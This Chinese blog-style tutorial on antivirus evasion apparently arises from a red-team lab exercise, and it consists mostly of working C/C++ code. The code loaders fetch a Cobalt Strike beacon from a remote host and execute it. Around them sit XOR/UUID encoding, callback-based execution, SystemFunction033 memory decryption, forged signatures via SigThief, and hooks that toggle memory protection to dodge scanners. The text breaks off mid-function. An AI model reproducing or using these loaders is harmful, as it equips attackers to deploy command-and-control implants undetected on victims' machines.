免杀手法入门中

刚好碰到了红日靶场需要免杀,先来总结入门一下。

主要参考免杀手法大总结(入门) - 先知社区,总结做了笔记。

目录

Hook的简单介绍

杀软属性

简单免杀手法

添加图标

添加签名

降低熵值

隐藏窗口

静态绕过

静态查杀特征

特征码识别

云查杀

启发式扫描

远程分段加载shellcode

效果

方法

混淆加密

异或加密

uuid加密

敏感WinAPI替换

回调函数执行加载器

EnumFontsW函数进行回调

EnumUILanguages函数进行回调

EnumFontFamiliesEx函数进行回调

API哈希化

动态绕过

动态查杀特征

计算机相关

网络相关

白加黑

内存中加解密

SystemFunction032内存加解密

UUID内存加解密

远程分段加载shellcode+Windows异常处理

调试版代码

效果

内存权限的波动修改

反沙箱

沙箱脱壳技术

检测沙箱

传参检测

文件检测

睡眠时间准测检测

后言


Hook的简单介绍

Hook是杀软的主要方法,它提供了一种方式去截获系统级别或者应用级别的函数调用、消息、事件等。使用Hook,开发者可以在不修改源程序的情况下,改变或者扩展操作系统、应用程序、驱动程序的功能。

主要分为两种形式,分别是修改函数代码和修改函数地址。

杀软属性

1、 能够检测是否包含恶意代码

2、 能准确识别出恶意代码的类型,如木马、后门、蠕虫等

3、 对于寄生类恶意代码,可以从宿主对象中剥离恶意代码,并还原宿主对象数据

简单免杀手法

添加图标

推荐方法:https://www.sqlsec.com/2020/10/csexe.html#%E5%A4%B1%E8%B4%A5%E7%BB%8F%E9%AA%8C

利用工具BeCylconGrabbe和Restorator2018可以很简单地将后门文件添加图标。

添加签名

如果没有数字签名,就会被认为大概率是可疑程序,所以要对程序进行证书伪造。

sigthief是github上的一个开源项目,可以用于给恶意程序仿造正常程序的数字签名,地址:GitHub - secretsquirrel/SigThief: Stealing Signatures and Making One Invalid Signature at a Time

使用方法:

sigthief.py -i 正常带证书的exe文件(例如火绒的安装包) -t 需要添加证书的exe文件 -o 输出的文件名

降低熵值

加密shellcode的文件的熵特别高,这表明二进制文件中的代码部分被混淆或者加密处理了。

可以通过几种方法来减少二进制的熵:

  • 添加一些熵比较低的文件,例如图片
  • 添加一些英文字典或一些无关紧要的字符串
  • 设置实现将shellcode混淆成低熵(这个混淆那里)

隐藏窗口

360会检测窗口这个特征,例如远程加载shellcode360不会进行杀软,但是加上隐藏窗口就会杀,但是又要必须隐藏窗口,所以需要修改其他特征来隐藏窗口。

静态绕过

静态查杀特征

特征码识别

杀软会有自己的病毒库,里面存放着很多样本,扫描时会抽取扫描对象的一段特征并与病毒库中比较。主要扫描的特征有:

  • 哈希
  • 文件名
  • 函数名
  • 关键代码

云查杀

云查杀的不同点在于它的病毒库是放在服务器端,而不是本地客户端,这说明需要联网病毒库才会同步更新。

启发式扫描

为了面对未知的病毒和换了模样的病毒,研究出了启发式算法。

这类方法就是归纳其特征,设置一些规则算法,以此来达到查杀病毒。

远程分段加载shellcode

比较常用的一种静态绕过方法

效果

能够绕过火绒和360(加上隐藏窗口免不了),但是一些添加用户的命令依然会拦截

方法

#示例代码
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()     ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;


DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
    * ptr = NULL,
    hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr,0,400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}

int main(int argc, char** argv) {

    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";            //需要填写目的ip
    char* RemotePort = "5003";    //远程端口
    char* Resource = "beacon64.bin";

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
   memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
   DWORD Oldprotect = 0;
   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);

   ((void(*)())shellcode_addr)();


    return 0;

}

这里解释一下main函数的作用:

  • 分配一个缓冲区用于接收shellcode
  • 调用getshellcode_Run函数下载shellcode
  • 使用VirtualAlloc分配内存,并将下载的shellcode复制到分配的内存中
  • 然后进行修改内存保护属性为可以执行
  • 最后将完整的shellcode作为函数进行调用,执行shellcode

这一系列实现了分段加载shellcode。

混淆加密

混淆加密是最基础的免杀手段之一,也是静态查杀使用较多的一种手段

异或加密

异或加密的key设置为非纯数字效果会更好,但这类操作是容易被破解的。

#include <iostream>
#include<Windows.h>

size_t GetSize(char* szFilePath)
{
    size_t size;
    FILE* f = fopen(szFilePath, "rb");
    fseek(f, 0, SEEK_END);
    size = ftell(f);
    rewind(f);
    fclose(f);
    return size;
}
char* ReadBinaryFile(char* szFilePath, size_t* size)
{
    char* p = NULL;
    FILE* f = NULL;
    size_t res = 0;
    *size = GetSize(szFilePath);
    if (*size == 0) return NULL;
    f = fopen(szFilePath, "rb");
    if (f == NULL)
    {
        printf("Binary file does not exists!\n");
        return 0;
    }
    p = new char[*size];
    // Read file
    rewind(f);
    res = fread(p, sizeof(unsigned char), *size, f);
    fclose(f);
    if (res == 0)
    {
        delete[] p;
        return NULL;
    }
    return p;
}
void XORcrypt(char str2xor[], size_t len, int key) {
    int i; for (i = 0; i < len; i++) {
        str2xor[i] = (BYTE)str2xor[i] ^ key;
    }
}

int main()
{
    char* BinData = NULL;
    size_t size = 0;
    int key = 5 + 5;        //设置key
    
    char* szFilePath = "E:\\bypassav\\beacon64xor.bin";
    BinData = ReadBinaryFile(szFilePath, &size);

    XORcrypt(BinData, size, key);

    return 0;
}

简单解释一下这段代码:

  1. GetSize函数作用:获取文件的大小
  2. ReadBinaryFile函数作用:从指定路径读取二进制文件的内容
  3. XRcrypt函数作用:对传入的字符数组进行XOR加密/解密
  4. main函数作用:设置XOR加密或解密的key,然后进行读取指定路径的文件并对读取的文件内容进行XOR加密或解密

也可以010Editor工具对文件进行手动异或加密。

uuid加密

简单提一下uuid加密。uuid是为了解决md5加密生成密码固定以至可以破解的问题的加密算法,它生成的密码都是不一样的。

加密工具下载:GitHub - Haunted-Banshee/Shellcode-Hastur: Shellcode Reductio Entropy Tools

解密代码:

int main()
{
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//创建堆,并标记为可执行
    void* ha = HeapAlloc(hc, 0, sizeof(uuids)*16);//为堆申请空间
    DWORD_PTR hptr = (DWORD_PTR)ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);

    //uuid转换成string
    for (int i = 0; i < elems; i++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
        if (status != RPC_S_OK) {
            CloseHandle(ha);
            return -1;
        }
        hptr += 16;
    }
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数
    CloseHandle(ha);
    return 0;
}

敏感WinAPI替换

WinAPI是Windows操作系统提供的一组应用程序编程接口,用于执行各种系统级操作。可以通过替换不常见的接口进行免杀。

相关文章:/var/log/notes

回调函数执行加载器

EnumFontsW函数进行回调

EnumFontsW是Windows的API,用于枚举系统中所有可用字体,可以指定函数用于处理枚举的字体信息。

#include <Windows.h>

unsigned char shellcode[] ="";

void CallBack() {

    void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));

    /*
    * EnumFontsW是Windows API,用于枚举系统中所有可用字体
    * 参数1:设备环境句柄,表示要枚举哪个设备的字体
    * 参数2:NULL表示枚举所有字体
    * 参数3:回调函数指针,用于处理每个枚举到的字体信息
    * 参数4:回调函数参数
    */
    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数

}

int main() {
    CallBack();
}

EnumUILanguages函数进行回调

EnumUILanguages函数是一个Windows API函数,用于枚举系统支持的用户界面(UI)语言。它需要提供一个回调函数,参数是指向回调函数的指针。

#include <Windows.h>

unsigned char shellcode[] ="";

void CallBack() {

    void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));

    EnumUILanguages((UILANGUAGE_ENUMPROC)p, 0, 0);

}

int main() {
    CallBack();
}

EnumFontFamiliesEx函数进行回调

跟EnumFontsW函数差不多。

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
  int main() {
  int shellcode[] = {
  };
  DWORD oldProtect = 0;
  BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);

  EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char*)shellcode, 0, 0);
}

API哈希化

API hash将API函数名通过某种哈希算法转换成一个哈希值,在恶意软件运行时,会将函数的哈希值和预先存储的目标哈希值进行比较,当哈希值匹配时,恶意软件会记录该函数地址,调用时使用,这就避免了在代码中出现API函数的名称。

敏感api哈希替换工具:
GitHub - embee-research/Randomise-api-hashes-cobalt-strike: Bypass Detection By Randomising ROR13 API Hashes

动态绕过

动态查杀特征

动态查杀指的是程序在运行的过程中执行了某些敏感操作,导致杀软查杀。

计算机相关

  • 注册表,一般修改注册表的行为都是敏感行为
  • 组策略
  • 防火墙
  • 敏感程序(cmd、powershell、psexec等)
  • 各种WinAPI,不仅包括API名称,还包括API的调用顺序、调用源、参数等。
  • 文件夹:

    C:/windows/system32   
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    C:\tmp等敏感文件夹(cs、msf都会在tmp文件夹下生成一些东西)

绕过方式,白加黑。

网络相关

  • 流量特征:Cobalt Strike的通信协议,石油RSA传输AES密钥,AES密钥加密后通信,但profile和证书未经修改,很容易被检测到。
  • 内容特征:data字段是否存在命令相关的关键词加密特征
  • 结构特征:是否存在已知远控的通讯结构(比如cs中的beacon有sleep)
  • IP:是否被情报系统标记为恶意IP

绕过方式,tcp分段(也就是分段传输),内容加密,使用合法证书等。

其实可以看到了解了查杀的原理,免杀的方法根本也就是那几种。

白加黑

白加黑通俗来讲就是将杀软列入到可信任列表的文件中。

一般情况就是替换dll文件,最好去寻找不是系统文件的白程序,否则很容易被杀软检测。

内存中加解密

SystemFunction032内存加解密

SystemFunction032:是一个系统函数(API的一部分),作用是在内存中加解密,调用也很方便。

加密代码:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(WINAPI* _SystemFunction033)(
    struct ustring *memoryRegion,
    struct ustring *keyPointer);

struct ustring {
    DWORD Length;
    DWORD MaximumLength;
    PUCHAR Buffer;
} scdata, key;

int main() {
    // 使用LoadLibrary加载advapi32.dll,并使用GetProcAddress获取SystemFunction033函数的地址。
    _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
    // 定义一个包含密钥的字符串
    char str_key[] = "helloWorld";

    unsigned char shellcode[] = {};
    key.Buffer = (PUCHAR)(&str_key);
    key.Length = sizeof key;

    scdata.Buffer = (PUCHAR)shellcode;
    scdata.Length = sizeof shellcode;
    //调用SystemFunction033函数,传入scdata和key。
    SystemFunction033(&scdata, &key);
    printf("unsigned char shellcode[] = { ");
    for (size_t i = 0; i < scdata.Length; i++) {
        if (!(i % 16)) printf("\n    ");
        printf("0x%02x, ", scdata.Buffer[i]);
        if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
    }

}

(shellcode进行了AES加密或者xor加密,且内存加密)

综合利用代码:

//上面的函数都是上面ase和异常处理的
typedef NTSTATUS(WINAPI* _SystemFunction033)(
    struct ustring* memoryRegion,
    struct ustring* keyPointer);

struct ustring {
    DWORD Length;
    DWORD MaximumLength;
    PUCHAR Buffer;
} scdata, key;

int main(int argc, char** argv) {

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";                    //IP地址
    char* RemotePort = "5003";        //远程端口
    char* Resource = "beaase.bin";    //定义资源名称,这个文件包含shellcode

    hEvent = CreateEvent(NULL, TRUE, false, NULL);

    //添加向量化异常处理程序
    PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    if (temp == NULL)
    {
        printf("AddVectoredExceptionHandler调用失败");
        getchar();
        return 0;
    }
    Hook();
    
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread1);

    //获取并预先shellcode,这个函数在上面分段加载shellcode那里
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);



   //aes解密,使用了128位密钥
   AES aes(AESKeyLength::AES_128); 
   unsigned char key1[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };

   unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, (unsigned int)recvbuf_size, key1);


    //将解密后的shellcode分配到可读写内存中
   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
   memcpy(shellcode_addr, a, recvbuf_size);
   //sys内存解密
   _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
   char str_key[] = "132abc";
   key.Buffer = (PUCHAR)(&str_key);
   key.Length = sizeof(str_key);
   scdata.Buffer = (PUCHAR)shellcode_addr;
   scdata.Length = recvbuf_size;
   SystemFunction033(&scdata, &key);

    //修改内存属性,使其可以执行
   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);

   ((void(*)())shellcode_addr)();


    return 0;

}

UUID内存加解密

参考文章:CS 内存加载器免杀及实现 – Crispr的博客

UUID是用于计算机体系中以识别信息数目的一个128位标识符,UUID具有唯一性。

首先需要将shellcode转为UUID格式,利用工具:GitHub - Haunted-Banshee/Shellcode-Hastur: Shellcode Reductio Entropy Tools

将生成的数据数据复制到一个txt文件,将空格、双引号和逗号都删除

然后将txt文件把后缀改为bin,用十六制编辑器打开,然后需要将0D0A(换行符)替换成0000,到这里uuid.bin文件就完成。

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include "jumper.h"

#include <Rpc.h>

#pragma comment(lib, "Rpcrt4.lib")

#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()     ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;

//远程服务器获取数据,并存储到接收缓冲区
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
    //初始化
    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // 初始化 Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        //printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // 解析服务器地址和端口
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        //printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            //printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
       // printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        // printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        //printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    // printf("\n[+] Sent %ld Bytes\n", iResult);

     // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        //printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr, 0, 400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            //printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            //printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0) {
            break;
            //printf("[+] Connection closed\n");
        }

        else
        {
            return 1;
            //printf("recv failed with error: %d\n", WSAGetLastError());
        }



        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}

int main()
{
    //分配接收缓冲区
    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5002";
    char* Resource = "uuid.bin";
    
    //获取shellcode
    int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

    HANDLE hProc = GetCurrentProcess();
    LPVOID base_addr = NULL;
    LPVOID uuid_addr = NULL;
    HANDLE thandle = NULL;

    //使用Sw3NtAllocateVirtualMemory为数据分配内存
    NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(
        hProc,
        &base_addr,
        0,
        (PSIZE_T)&recvbuf_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    //LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
    DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;
    //使用Sw3NtWriteVirtualMemory将接收到的数据写入分配的内存
    NTSTATUS NTAVM1 = Sw3NtAllocateVirtualMemory(
        hProc,
        &uuid_addr,
        0,
        (PSIZE_T)&recvbuf_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    //memcpy(base_addr, recvbuf_ptr, recvbuf_size);
    Sw3NtWriteVirtualMemory(hProc, uuid_addr, recvbuf_ptr, recvbuf_size, NULL);

    // 循环遍历uuid列表 使用UuidFromStringA将字符串UUID转换为二进制UUID并加载到内存中
    for (int count = 0; count <= (recvbuf_size / 0x26 - 0x1); count++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_addr, (UUID*)mem_ptr);
        if (status != RPC_S_OK) {
            break;
        }
        uuid_addr =(void*)((uintptr_t)uuid_addr + 0x26);
        mem_ptr += 16;//uuid 16字节大小
    }


    //使用Sw3NtProtectVirtualMemory将内存保护属性修改为可执行
    DWORD oldProtect;
    Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);
    //使用EnumSystemLocalesA执行内存中的shellcode
    EnumSystemLocalesA((LOCALE_ENUMPROCA)base_addr, 0);

}

远程分段加载shellcode+Windows异常处理

这一个整体思路是:

在上线CS后,CS是默认设置了60秒睡眠的(睡眠时间可在CS设置的),也就是心跳包机制,10秒内代码会被sleep阻塞,60秒后执行命令再次进入睡眠;在CS上线后的sleep时间内把内存改为rw属性,这段时间可以逃过杀软的内存扫描(因为一般杀软对rwx属性的可执行权限的内存扫描比较严格)。但是我们rw属性的内存是无法执行shellcode的,这就需要Windows的异常处理机制,通过AddVectoredExceptionHandler函数去添加一个异常处理函数 ,当代码进入sleep后rw属性的内存时,shellcode没执行权限所以报错0x0005,我们就可以通过异常处理函数把内存改为可执行,执行完之后继续执行sleep修改rw属性,如此反复。

调试版代码

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include "detours.h"
#include "detver.h"

#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()     ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;

LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;

//VirtualAlloc函数用于记录分配的内存地址和大小
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
    Beacon_data_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    printf("分配大小:%d", Beacon_data_len);
    printf("分配地址:%llx \n", Beacon_address);
    return Beacon_address;
}

//sleep函数用于释放内存
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
    if (Vir_FLAG)
    {
        VirtualFree(shellcode_addr, 0, MEM_RELEASE);
        Vir_FLAG = false;
    }
    printf("sleep时间:%d\n", dwMilliseconds);
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
}

//用于对钩子的安装
void Hook()
{
    DetourRestoreAfterWith(); //避免重复HOOK
    DetourTransactionBegin(); // 开始HOOK
    DetourUpdateThread(GetCurrentThread());
    DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
    DetourAttach((PVOID*)&OldSleep, NewSleep);
    DetourTransactionCommit(); //  提交HOOK
}

//用于对钩子的移除
void UnHook()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
    DetourTransactionCommit();
}

//获取文件大小
size_t GetSize(char* szFilePath)
{
    size_t size;
    FILE* f = fopen(szFilePath, "rb");
    fseek(f, 0, SEEK_END);
    size = ftell(f);
    rewind(f);
    fclose(f);
    return size;
}

//文件读取
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
    unsigned char* p = NULL;
    FILE* f = NULL;
    size_t res = 0;
    *size = GetSize(szFilePath);
    if (*size == 0) return NULL;
    f = fopen(szFilePath, "rb");
    if (f == NULL)
    {
        printf("Binary file does not exists!\n");
        return 0;
    }
    p = new unsigned char[*size];
    // Read file
    rewind(f);
    res = fread(p, sizeof(unsigned char), *size, f);
    fclose(f);
    if (res == 0)
    {
        delete[] p;
        return NULL;
    }
    return p;
}

//异常处理
BOOL is_Exception(DWORD64 Exception_addr)
{
    if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
    {
        printf("地址符合:%llx\n", Exception_addr);
        return true;
    }
    printf("地址不符合:%llx\n", Exception_addr);
    return false;
}

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
    printf("FirstVectExcepHandler\n");
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
    printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
    {
        printf("恢复Beacon内存属性\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

//这段代码的目的是等待事件 hEvent 被触发,然后修改 Beacon_address 指向的内存区域的保护属性,使其变为可写
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
    printf("Beacon_set_Memory_attributes启动\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
    return 0;
}




DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    //BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
